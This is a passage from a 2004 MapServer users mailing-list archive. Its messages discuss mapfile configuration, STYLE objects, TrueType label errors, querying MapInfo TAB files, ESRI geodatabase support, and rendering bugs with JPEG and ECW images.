maps. I searched on the mapserver web site but nothing interesting !! Does anyone knows a good example of how i could click on a map and display in a box the infos contained in the .tab file. thanks a lot eric From tjmitchell at riverside.bc.ca Wed Jun 23 08:44:20 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 23 Jun 2004 08:44:20 -0700 Subject: [Mapserver-users] new user In-Reply-To: <20040622151641.55279.qmail@web53510.mail.yahoo.com> Message-ID: Here are some good little "simple recipes" for mapserver. http://www.mobilegeographics.com/mapserver/ They don't go into how to setup the web server or installing mapserver, but give you some good idea of what is possible and how. The examples use PHP Mapscript which you could get a copy of to try these examples with. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/22/2004 08:16:41 AM: > Hi, > > I have just joined a company and I am required to learn Mapserver. > pls can anyone guide me to a very basic tutorial which will take me > through the essential concepts. I have no background in graphics > although i am quite familiar with php. > > cheers, > > Jubril > ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself From tjmitchell at riverside.bc.ca Wed Jun 23 08:56:03 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 23 Jun 2004 08:56:03 -0700 Subject: [Mapserver-users] Changing scale in query map In-Reply-To: <1a397c1a4b38.1a4b381a397c@ma12.eresmas.com> Message-ID: Maria, are you using a demo application to start with or did you start from scratch? I don't know the answer for you but maybe if you provide some more info to the list it will help. I've also changed the subject line to be a bit more descriptive :) Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/22/2004 04:11:00 AM: > > Hi again! > I sent a message few days ago but I have not received any answer. > Please, Should you find a solution for my problem? Thanks again > > scale in query result > I need to show the query map in the same scale as the map > in the map template, but I want the size of querymap smaller than the map. > If I show the query result in the same page (target = _self) it > goes, but if I show > the query result in a different window the query map has got the > same extent than the map, so > the resultant scale is bigger. (I need to do that in a new window) > How can i do that? > Thanks in advanced. Maria. > // query result in a new window > function CheckTarget(){ > if (document.mapserv.mode.value == "query"){ > document.mapserv.target="query"; > window.open('', 'query', 'resizable=yes,scrollbars=yes,toolbar=no, > menubar=no,width=400,height=300'); > } else { > document.mapserv.target="_self"; > } > } > // querymap in mapfile > QUERYMAP > SIZE 300 187 > STATUS ON > STYLE HILITE > COLOR 0 255 255 > END > > Adeu. Maria. > > > > ----------------------------------------------------------------------- > Juan acaba de ganar 40 euros vendiendo un jersey que no usaba > gracias a Ebay, ??cuanto quieres ganar t??? > http://ad.doubleclick.net/clk;7342022;7829128;i?http://adfarm. > mediaplex.com/ad/ck/1185-18912-4660-5? > RedirectEnter???ner=36993&loc=http://www.es.ebay.com > _______________________________________________ Mapserver-users > mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn. > edu/mailman/listinfo/mapserver-users From stephen.clark at focus.ca Wed Jun 23 08:57:02 2004 From: stephen.clark at focus.ca (Stephen Clark) Date: Wed, 23 Jun 2004 08:57:02 -0700 Subject: [Mapserver-users] Can Mapserver interface with ESRI geodatabases? Message-ID: <004401c4593a$b98f2d80$6c000a0a@focuscorp.ca> This is a multi-part message in MIME format. ------=_NextPart_000_0041_01C45900.0CF98E10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 Stephen ------=_NextPart_000_0041_01C45900.0CF98E10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 

 

Stephen
------=_NextPart_000_0041_01C45900.0CF98E10-- From tjmitchell at riverside.bc.ca Wed Jun 23 08:57:35 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 23 Jun 2004 08:57:35 -0700 Subject: [Mapserver-users] problem with LABELS in TRUETYPE In-Reply-To: <40D7FEF4.6000407@ac-orleans-tours.fr> Message-ID: Can you show us your map file. We don't need to see all the layers but at least one and to see all your other settings like FONTSET. Then also show us the contents of your fonts.list file. That might help us. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/22/2004 02:42:12 AM: > Hi, > > i use mapserver 4.1 on W32, apache 1.3.27, php 4.3.3 > i try to add labels in .map file but i have this message: > > "*msGetLabelSize(): TrueType Font error. Could not find/open font* " > > i point on the fonts.list file which contains the alias given in the > FONT attribute > i also have the good arialbd.ttf present. > > TRUETYPE must be configured in APACHE ? > or only in the .map file ? > > thanks > > eric > -- > eric BELENFANT > *Tel* : 02.38.79.45.98 > ------------------------ > p?le SYSTEMES PARTAGES > *DEP - rectorat d'Orl?ans-Tours* > --------------------------------------------------- > /Pour toute information sur la DEP ou pour obtenir des statistiques sur > l'acad?mie, > consultez la base de pilotage/ PILOT > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From tjmitchell at riverside.bc.ca Wed Jun 23 08:49:41 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 23 Jun 2004 08:49:41 -0700 Subject: [Mapserver-users] adding input from ascii text file In-Reply-To: <40D846A8.8040703@colorado.edu> Message-ID: The simplest way to get this into MapServer is to encode the coordinates into the map file using "inline features". Basically you define a layer in your map file and instead of loading data from a database or shapefile, you manually put the coordinates in using a particular notation. Here's an example: LAYER NAME vince_points TYPE POINT STATUS DEFAULT FEATURE POINTS -93.6848 41.9643 END TEXT "R701" END FEATURE POINTS -93.6407 41.9542 END TEXT "R702" END CLASS COLOR 0 0 250 SYMBOL 'circle' SIZE 6 END END > > Site Latitude Longitude Easting Northing > R701 41.9643` -93.6848 443253 4646040 > R702 41.9542 -93.6407 446901 4644894 > From dmorissette at dmsolutions.ca Wed Jun 23 09:05:05 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 23 Jun 2004 12:05:05 -0400 Subject: [Mapserver-users] OGR ovf access problem In-Reply-To: References: Message-ID: <40D9AA31.9080504@dmsolutions.ca> COUTUJF at dfo-mpo.gc.ca wrote: > Hey Chip, > thanks for the hint, but I do have the latest Mapserver > installed (4.2 beta). The only thing is I think that 4.2 beta still uses > GDAL 1.1.x, OpenEV currently uses GDAL 1.2. > > I'm not sure if ovf files are only supported in 1.2. I think it should work > with 1.1 hence my version should be OK. > > Anymore ideas? > I'd suggest that you upgrade to the 4.2.0 release anyway just to rule out that possibility, and prevent you from running into toher issues that may already have been fixed: http://maptools.org/php_mapscript/index.phtml?page=downloads.html Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed Jun 23 09:09:16 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 23 Jun 2004 12:09:16 -0400 Subject: [Mapserver-users] How to log requests on remote wms-servers In-Reply-To: <26FAB31EFF50034782DFE474AB44FE3E029359@nt-sf-exchange.Windows2000> References: <26FAB31EFF50034782DFE474AB44FE3E029359@nt-sf-exchange.Windows2000> Message-ID: <40D9AB2C.8040700@dmsolutions.ca> Frieso ter Haseborg wrote: > > I just want to log the url the mapserver-client generates and sends to a remote wms-server I've no access to. In this case MS_ERRORFILE as mentioned by Daniel did it, since the client received a HTTP request error. But a general mechanism to log the generated url would still be interesting. > FYI the URL is already logged when you have build with --enable-debug on Linux and you set DEBUG TRUE on the WMS layers. The output goes to stderr, i.e. the Apache error_log. Unfortunately this is not available in the Windows builds that we provide. I have asked Assefa to add this in his future builds. And once bug 709 is addressed this should all be available through a more user-friendly mechanism. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed Jun 23 09:10:40 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 23 Jun 2004 12:10:40 -0400 Subject: [Mapserver-users] How to log requests on remote wms-servers In-Reply-To: <26FAB31EFF50034782DFE474AB44FE3E029358@nt-sf-exchange.Windows2000> References: <26FAB31EFF50034782DFE474AB44FE3E029358@nt-sf-exchange.Windows2000> Message-ID: <40D9AB80.90005@dmsolutions.ca> Frieso ter Haseborg wrote: > > btw: A way to get the error displayed directly in the browser is to place another layer provoking an msDrawMap-error behind the "problem-child". So one failing layer only gives errors in the apache-log, a second layer with DrawMap-error raises the error to the browser. Is this by design (no errors raised on failing http get request), or am I overlooking something? > Um... that's definitely not by design! You could file a bug if you can provide a complete testcase to reproduce. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Wed Jun 23 09:17:41 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 23 Jun 2004 11:17:41 -0500 Subject: [Mapserver-users] problem adding north arrow to map Message-ID: The SYMBOL really should be inside the STYLE object, that would make it less of a kludge. The old keywords at the class level really affect one of two styles behind the scenes. One main one and one for overlay. Folks should move away from those shortcuts. Anyway, the behavior described is really a bug. A SYMBOL should be enough to create a STYLE, just as a COLOR or OUTLINECOLOR can. I've fixed this in the 4.3 tree. Steve >>> "Charlton Purvis" 6/23/2004 10:10:37 AM >>> I'm sure you'll get a better answer than my hackneyed approach, but I found that a CLASS needs a COLOR in order to show up. For some reason for CLASS-es that really shouldn't have a COLOR (like yours), the empty STLE does the trick. But I will now move aside for those who know the nitty gritty . . . [Charlton bows gracefully as others enter stage right.] _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Wed Jun 23 09:35:17 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 23 Jun 2004 12:35:17 -0400 Subject: [Mapserver-users] query MAPINFO maps with phpmapscript In-Reply-To: <40D99C0E.8090306@ac-orleans-tours.fr> References: <40D99C0E.8090306@ac-orleans-tours.fr> Message-ID: <40D9B145.4060707@dmsolutions.ca> eric.belenfant wrote: > Hi, > > i'm looking for some good coding examples to query the .tab files by > clicking our MAPINFO maps. > I searched on the mapserver web site but nothing interesting !! > Does anyone knows a good example of how i could click on a map and > display in a box the infos contained in the .tab file. > There is nothing special to do to query TAB files. All tutorial/examples that apply to shapefiles for queries also apply to TAB files. The only difference between the two is that you use CONNECTION/CONNECTIONTYPE instead of DATA to specify the location of the TAB file. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From nacional at cbs.umn.edu Wed Jun 23 09:43:56 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Wed, 23 Jun 2004 11:43:56 -0500 Subject: [Mapserver-users] Changing scale in query map In-Reply-To: References: Message-ID: <1088009036.1788.36.camel@localhost> Maria, Can you show us the query templates for your application? Please include the query headers and footers. It could be that all you need to do is specify the image width and height of the query map in your template. By that I mean, add "width="300" height="187"" in the tag. -Perry On Wed, 2004-06-23 at 10:56, Tyler Mitchell wrote: > Maria, are you using a demo application to start with or did you start > from scratch? I don't know the answer for you but maybe if you provide > some more info to the list it will help. I've also changed the subject > line to be a bit more descriptive :) > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 06/22/2004 04:11:00 AM: > > > > > Hi again! > > I sent a message few days ago but I have not received any answer. > > Please, Should you find a solution for my problem? Thanks again > > > > scale in query result > > I need to show the query map in the same scale as the map > > in the map template, but I want the size of querymap smaller than the > map. > > If I show the query result in the same page (target = _self) it > > goes, but if I show > > the query result in a different window the query map has got the > > same extent than the map, so > > the resultant scale is bigger. (I need to do that in a new window) > > How can i do that? > > Thanks in advanced. Maria. > > // query result in a new window > > function CheckTarget(){ > > if (document.mapserv.mode.value == "query"){ > > document.mapserv.target="query"; > > window.open('', 'query', 'resizable=yes,scrollbars=yes,toolbar=no, > > menubar=no,width=400,height=300'); > > } else { > > document.mapserv.target="_self"; > > } > > } > > // querymap in mapfile > > QUERYMAP > > SIZE 300 187 > > STATUS ON > > STYLE HILITE > > COLOR 0 255 255 > > END > > > > Adeu. Maria. > > > > > > > > ----------------------------------------------------------------------- > > Juan acaba de ganar 40 euros vendiendo un jersey que no usaba > > gracias a Ebay, ??cuanto quieres ganar t??? > > http://ad.doubleclick.net/clk;7342022;7829128;i?http://adfarm. > > mediaplex.com/ad/ck/1185-18912-4660-5? > > RedirectEnter???ner=36993&loc=http://www.es.ebay.com > > _______________________________________________ Mapserver-users > > mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn. > > edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- "He's no geek.His tan's too good." -Benjamin Choate From bartvde at xs4all.nl Wed Jun 23 09:54:20 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Wed, 23 Jun 2004 18:54:20 +0200 Subject: [Mapserver-users] Can Mapserver interface with ESRI geodatabases? In-Reply-To: <004401c4593a$b98f2d80$6c000a0a@focuscorp.ca> References: <004401c4593a$b98f2d80$6c000a0a@focuscorp.ca> Message-ID: Hi Stephen, Short answer is NO. Best regards, Bart On Wed, 23 Jun 2004 08:57:02 -0700, Stephen Clark wrote: > > > > > Stephen -- From tjmitchell at riverside.bc.ca Wed Jun 23 09:58:57 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 23 Jun 2004 09:58:57 -0700 Subject: [Mapserver-users] Using STYLE objects (was: problem adding north arrow to map) In-Reply-To: Message-ID: > The SYMBOL really should be inside the STYLE object, that would make it > less of a kludge. The old keywords at the class level really affect one > of two styles behind the scenes. One main one and one for overlay. Folks > should move away from those shortcuts. Call me Mr. Kludge - I could really use a short lesson on using STYLE instead of the typical shortcut :) Should I just be moving all my style and symbol-related parameters into a STYLE object in the CLASS? Does 4.2 support named styles? Once I'm up to speed then I'll look at updating the docs Jeff and I created for the vector data access workshop. I suggest others do the same, every tutorial/training guide I reviewed on the Mapserver site still uses the old method! Tyler From kgeurts at gis.umn.edu Wed Jun 23 10:28:04 2004 From: kgeurts at gis.umn.edu (kgeurts) Date: Wed, 23 Jun 2004 12:28:04 CDT Subject: [Mapserver-users] Re: MUM registrant list available? Message-ID: <200406231728.i5NHS44C013749@firefox.software.umn.edu> Hello MS Users, For those of you who are interested there is a link to the MapServer User Meetings from the MapServer Homepage (http://mapserver.gis.umn.edu/mum/index.html). From there you can link to an attendance list for the 1st meeting and more information will be coming for the 2nd meeting. I would also like to create links from our homepage to the other homepages being created (Brazilians and German language MapServer homepage). Can you send me the URLs? Thanks Kari A. Geurts MDP Coordinator Department of Forest Resources University of Minnesota 1530 Cleveland Ave N. St. Paul, MN. 55108 Phone: 612-624-3459 Fax: 612-625-5212 > > Message: 50 > Date: Tue, 22 Jun 2004 18:26:02 +0200 > From: Arnulf Christl > To: "Kralidis,Tom [Burlington]" > CC: Charlton Purvis , mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] MUM registrant list available? > > Kralidis,Tom [Burlington] wrote: > > > > > > >>-----Original Message----- > >>From: mapserver-users-admin at lists.gis.umn.edu > >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > >>Charlton Purvis > >>Sent: Tuesday, June 22, 2004 11:06 AM > >>To: mapserver-users at lists.gis.umn.edu > >>Subject: [Mapserver-users] MUM registrant list available? > >> > >> > >>I'm the type of knucklehead who forgets to exchange business > >>cards once the tables are bussed and it's time to go to the > >>next workshop. Will a registrant list w/ institution > >>affiliation be online and available soon? > >> > >> > >> > > > >This happened to me too! This would be great to have online. > > > > > > > >>(Of course, in traditional knucklehead fashion, it might > >>already be somewhere, but I just can't find it.) > >> > >> > >> > > > >There's also a OGC:WMS/OGC:WFS online of the participants (those who > >agreed to have their names published), at: > > > >http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 > > > >Note that the URL above will not work as is -- you have to feed this > >into a WMS/WFS aware application. > > > > > > > Maybe we could add the URL that links to the presentation of the > presenter (those who agreed to have their names published) to the > resultset of a FeatureInfo request. > > Local user groups > We are currently preparing the UMN User Meeting in Germany (just one > humble day, but packed full). Before announcing it in the press we want > to finish the German language MapServer homepage (like the Brazilians > did). What about copyrights, linking to the (one and only) original > website because we wont be able to translate the whole documentation and > keep it actual. > > So if anybody could enlighten me to whom I should talk to about these > questions - please let me know. > > Cheers, > Arnulf. > > >Cheers > > > >..Tom > > > > > > > > > >>Thanks, > >> > >>Charlton > >> > >> > >> > >> > >>Charlton Purvis > >>(803) 777-8858 : voice > >>(803) 777-3935 : fax > >>cpurvis at sc.edu > >> > >>Baruch Institute > >>University of South Carolina > >>Columbia, SC 29208 > >> > >> > >>_______________________________________________ > >>Mapserver-users mailing list > >>Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > ---------------------------- > CCGIS Christl & Stamm GbR > ---------------------------- > http://www.ccgis.de > http://www.mapbender.org > ---------------------------- > Service: +49 (0)228 90826 0 > Direct: +49 (0)228 90826 23 > Fax: +49 (0)228 90826 11 > ---------------------------- > CCGIS Christl & Stamm GbR > Siemensstra?e 8 > 53121 Bonn > GERMANY From woodbri at swoodbridge.com Wed Jun 23 10:29:07 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 23 Jun 2004 13:29:07 -0400 Subject: Documentation was: Re: [Mapserver-users] Using STYLE objects In-Reply-To: References: Message-ID: <40D9BDE3.7090103@swoodbridge.com> Just I thought here, but it seems that we should be updating the documentation to indicate deprecated keywords and to suggest the appropriate way of doing things. Also have you been to the mysql doc site, It would be nice id documentation was using the same tools with the ability of users to add comments and examples to any of the sections (for example: each mapfile object could be a section and allow for individual comments). I think this would help people by keeping the documentation up to date and it would help the doc staff by collecting additional information that needs to be added or explained better in the docs. -Steve Tyler Mitchell wrote: >>The SYMBOL really should be inside the STYLE object, that would make it >>less of a kludge. The old keywords at the class level really affect one >>of two styles behind the scenes. One main one and one for overlay. Folks >>should move away from those shortcuts. > > > Call me Mr. Kludge - I could really use a short lesson on using STYLE > instead of the typical shortcut :) > Should I just be moving all my style and symbol-related parameters into a > STYLE object in the CLASS? Does 4.2 support named styles? > > Once I'm up to speed then I'll look at updating the docs Jeff and I > created for the vector data access workshop. > I suggest others do the same, every tutorial/training guide I reviewed on > the Mapserver site still uses the old method! > > > Tyler > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From lfilak at medinaco.org Wed Jun 23 10:43:23 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 23 Jun 2004 13:43:23 -0400 Subject: [Mapserver-users] Can Mapserver interface with ESRI geodatabases? Message-ID: <20040623174303.914AA1A659B@mail.medinaco.org> I'm confused. The overview/sales book "Understanding Geodatabases - The esri method" (or some such name) led me to believe that a geodatabase was read into a product like arcims via arcsde and therefore changed/reduced the feature types to basic types like points, lines, areas... & if mapserver is built with sde support then.. ? Or does the original question pertain to the "personal"geodatabase & the jetengine/access thing? Thanks. Lowell The following message was sent by Bart van den Eijnden on Wed, 23 Jun 2004 18:54:20 +0200. > Hi Stephen, > > Short answer is NO. > > Best regards, > Bart > > On Wed, 23 Jun 2004 08:57:02 -0700, Stephen Clark > wrote: > > > > > > > > > > > Stephen > > > > -- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Wed Jun 23 10:58:07 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 23 Jun 2004 12:58:07 -0500 Subject: [Mapserver-users] Using STYLE objects (was: problem adding north arrow to map) Message-ID: With 4.0 it became clear that using COLOR and OVERLAYCOLOR and so on was not going to work long term. Too darn many keywords to maintain, plus there's only so much you can do with 2 symbols overlayed on top of each other. STYLE objects simplfy the keyword syntax (or they will eventually) and make it much easier to extend MapServer symbolization to approach, for example, SLD. You can also create very complex symbols by stacking STYLES and we can probably do away with the QUERYMAP object by adding TYPE to a STYLE so that certain symbolizations would only be used when presenting a query. Speculation on my part though. You should consider moving to STYLES. There is a great degree of backwards compatability built in, but as happend today we saw that's not perfect. Named styles are not yet supported, although I'd like to, along with named labels. In both cases you'd refer to a style/label defined at the MAP level and could even exend them as necessary. For example, STYLE NAME 'default_road' COLOR 255 0 0 SYMBOL 'circle' SIZE 10 END LAYER ... CLASS STYLE NAME 'default_road' COLOR 0 255 0 # change just the color END END END This is not yet available though. Does this help? I'd be glad to clarify more... Steve > >> Tyler Mitchell 6/23/2004 11:58:57 AM >>> > The SYMBOL really should be inside the STYLE object, that would make it > less of a kludge. The old keywords at the class level really affect one > of two styles behind the scenes. One main one and one for overlay. Folks > should move away from those shortcuts. Call me Mr. Kludge - I could really use a short lesson on using STYLE instead of the typical shortcut :) Should I just be moving all my style and symbol-related parameters into a STYLE object in the CLASS? Does 4.2 support named styles? Once I'm up to speed then I'll look at updating the docs Jeff and I created for the vector data access workshop. I suggest others do the same, every tutorial/training guide I reviewed on the Mapserver site still uses the old method! Tyler _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jmalczyk at yahoo.com Wed Jun 23 11:04:33 2004 From: jmalczyk at yahoo.com (Jeremy Malczyk) Date: Wed, 23 Jun 2004 11:04:33 -0700 (PDT) Subject: [Mapserver-users] Jpeg issues in MapServer 4.2? In-Reply-To: <200406231728.i5NHS44C013749@firefox.software.umn.edu> Message-ID: <20040623180433.56520.qmail@web61002.mail.yahoo.com> Is anyone else having problems making large jpeg images (anything over 608x512 pixels) in the latest Win32 build of MapServer? I'm not getting a MapServer error, it's just returning corrupt images if I specify anything bigger than 608x512. PNG and PNG24 formats seem to work fine. Jeremy __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From markadams at cuestasys.com Wed Jun 23 11:20:17 2004 From: markadams at cuestasys.com (Mark Adams) Date: Wed, 23 Jun 2004 14:20:17 -0400 Subject: [Mapserver-users] Can Mapserver interface with ESRI geodatabases? In-Reply-To: <20040623174303.914AA1A659B@mail.medinaco.org> Message-ID: <001601c4594e$bcea9d70$1300a8c0@cuestasys.com> There is a basic distinction between "geodatabase" and "SDE". SDE predates ESRI's introduction of the geodatabase with ArcGIS 8.x. So you can have an SDE database that is not a geodatabase; that is, like postgis, you can have tables with "shape" columns that the SDE middleware interprets in a spatial display and analysis context. The Geodatabase extends that basic concept, using a distinct set of metatables to maintain information about the spatial objects in the spatial (and non-spatial) tables, as well as the relationships between them. Technically speaking, you can also have a geodatabase - the "personal" geodatabase, which is an MS Access database - without SDE. (I say technically, because even there you are using a set of SDE binaries on the client, but you are bypassing the SDE server side install.) ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Lowell Filak Sent: Wednesday, June 23, 2004 1:43 PM To: Bart van den Eijnden; Stephen Clark; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Can Mapserver interface with ESRI geodatabases? I'm confused. The overview/sales book "Understanding Geodatabases - The esri method" (or some such name) led me to believe that a geodatabase was read into a product like arcims via arcsde and therefore changed/reduced the feature types to basic types like points, lines, areas... & if mapserver is built with sde support then.. ? Or does the original question pertain to the "personal"geodatabase & the jetengine/access thing? Thanks. Lowell The following message was sent by Bart van den Eijnden on Wed, 23 Jun 2004 18:54:20 +0200. > Hi Stephen, > > Short answer is NO. > > Best regards, > Bart > > On Wed, 23 Jun 2004 08:57:02 -0700, Stephen Clark > wrote: > > > > > > > > > > > Stephen > > > > -- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From David.Fawcett at state.mn.us Wed Jun 23 11:48:59 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Wed, 23 Jun 2004 13:48:59 -0500 Subject: Documentation was: Re: [Mapserver-users] Using STYLE objects Message-ID: Great idea Steve. I think that this would be very useful and add a more user-friendly way for people to link examples to specific areas of the documentation. For those of you who are wondering what the MySQL docs look like, here is a link to a sample page from the documentation. http://dev.mysql.com/doc/mysql/en/Linux-RPM.html David. David J. Fawcett MN Office of Environmental Assistance >>> Stephen Woodbridge 6/23/2004 12:29:07 PM >>> Just I thought here, but it seems that we should be updating the documentation to indicate deprecated keywords and to suggest the appropriate way of doing things. Also have you been to the mysql doc site, It would be nice id documentation was using the same tools with the ability of users to add comments and examples to any of the sections (for example: each mapfile object could be a section and allow for individual comments). I think this would help people by keeping the documentation up to date and it would help the doc staff by collecting additional information that needs to be added or explained better in the docs. -Steve Tyler Mitchell wrote: >>The SYMBOL really should be inside the STYLE object, that would make it >>less of a kludge. The old keywords at the class level really affect one >>of two styles behind the scenes. One main one and one for overlay. Folks >>should move away from those shortcuts. > > > Call me Mr. Kludge - I could really use a short lesson on using STYLE > instead of the typical shortcut :) > Should I just be moving all my style and symbol-related parameters into a > STYLE object in the CLASS? Does 4.2 support named styles? > > Once I'm up to speed then I'll look at updating the docs Jeff and I > created for the vector data access workshop. > I suggest others do the same, every tutorial/training guide I reviewed on > the Mapserver site still uses the old method! > > > Tyler > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sgillies at frii.com Wed Jun 23 12:19:09 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 23 Jun 2004 13:19:09 -0600 Subject: Documentation was: Re: [Mapserver-users] Using STYLE objects In-Reply-To: References: Message-ID: <34070884-C54A-11D8-B85C-000D9329D732@frii.com> I like the dev.mysql.com site. Another good example of a developer/community site is http://dev.zope.org Sean On Jun 23, 2004, at 12:48 PM, David Fawcett wrote: > Great idea Steve. I think that this would be very useful and add a > more > user-friendly way for people to link examples to specific areas of the > documentation. > > For those of you who are wondering what the MySQL docs look like, here > is a link to a sample page from the documentation. > > http://dev.mysql.com/doc/mysql/en/Linux-RPM.html > > David. > > David J. Fawcett > MN Office of Environmental Assistance > >>>> Stephen Woodbridge 6/23/2004 12:29:07 PM >>>> > Just I thought here, but it seems that we should be updating the > documentation to indicate deprecated keywords and to suggest the > appropriate way of doing things. > > Also have you been to the mysql doc site, It would be nice id > documentation was using the same tools with the ability of users to add > > comments and examples to any of the sections (for example: each mapfile > > object could be a section and allow for individual comments). I think > this would help people by keeping the documentation up to date and it > would help the doc staff by collecting additional information that > needs > to be added or explained better in the docs. > > -Steve > > Tyler Mitchell wrote: > >>> The SYMBOL really should be inside the STYLE object, that would make > it >>> less of a kludge. The old keywords at the class level really affect > one >>> of two styles behind the scenes. One main one and one for overlay. > Folks >>> should move away from those shortcuts. >> >> >> Call me Mr. Kludge - I could really use a short lesson on using STYLE > >> instead of the typical shortcut :) >> Should I just be moving all my style and symbol-related parameters > into a >> STYLE object in the CLASS? Does 4.2 support named styles? >> >> Once I'm up to speed then I'll look at updating the docs Jeff and I >> created for the vector data access workshop. >> I suggest others do the same, every tutorial/training guide I > reviewed on >> the Mapserver site still uses the old method! >> >> >> Tyler >> -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From jacob.delfos at maunsell.com Wed Jun 23 18:04:02 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Thu, 24 Jun 2004 11:04:02 +1000 Subject: [Mapserver-users] ECW not showing below certain scale Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C45987.237EDC30 Content-Type: text/plain; charset="iso-8859-1" Hi All, I've been running into a little problem with mapserver 4.2, which I was also experiencing in Chameleon 1.99; when I zoom in quite far on the map (holding an ecw image), the map doesn't show up. It keeps trying to load, but nothing comes, suggesting it got stuck somewhere. CPU activity is initially at maximum for a few seconds (as normal when loading the map) but then drops while the map doesn't show (I'm loading the map in the browser on the server itself). The mapserv process won't allow itself to get killed either. If I simply replace my mapserv.exe file with one of version 4.0, the problem is gone. Of course the map takes quite a few seconds to show, which is normal when zooming close on an ECW, but it does show. I've tried this quite a few times in different browsers, but the map never shows at that scale when the ECW is in there. I have tried different mapfiles with different ECW's as well. Has the mechanism to display the ECW changed? It seems that as soon as I reach a resolution where I go beyond the ECW resolution (1pixel:1pixel) it dies. Regards, Jacob JACOB DELFOS SPATIAL INFORMATION ANALYST Maunsell Australia Pty Ltd 629 Newcastle Street PO Box 81 Leederville 6902 Western Australia ABN 20 093 846 925 Tel + 61 8 9281 6185 Fax + 61 8 9281 6297 jacob.delfos at maunsell.com ------_=_NextPart_001_01C45987.237EDC30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ECW not showing below certain scale

Hi All,

I've been running into a little = problem with mapserver 4.2, which I was also experiencing in Chameleon = 1.99; when I zoom in quite far on the map (holding an ecw image), the = map doesn't show up. It keeps trying to load, but nothing comes, = suggesting it got stuck somewhere. CPU activity is initially at maximum = for a few seconds (as normal when loading the map) but then drops while = the map doesn't show (I'm loading the map in the browser on the server = itself). The mapserv process won't allow itself to get killed = either.

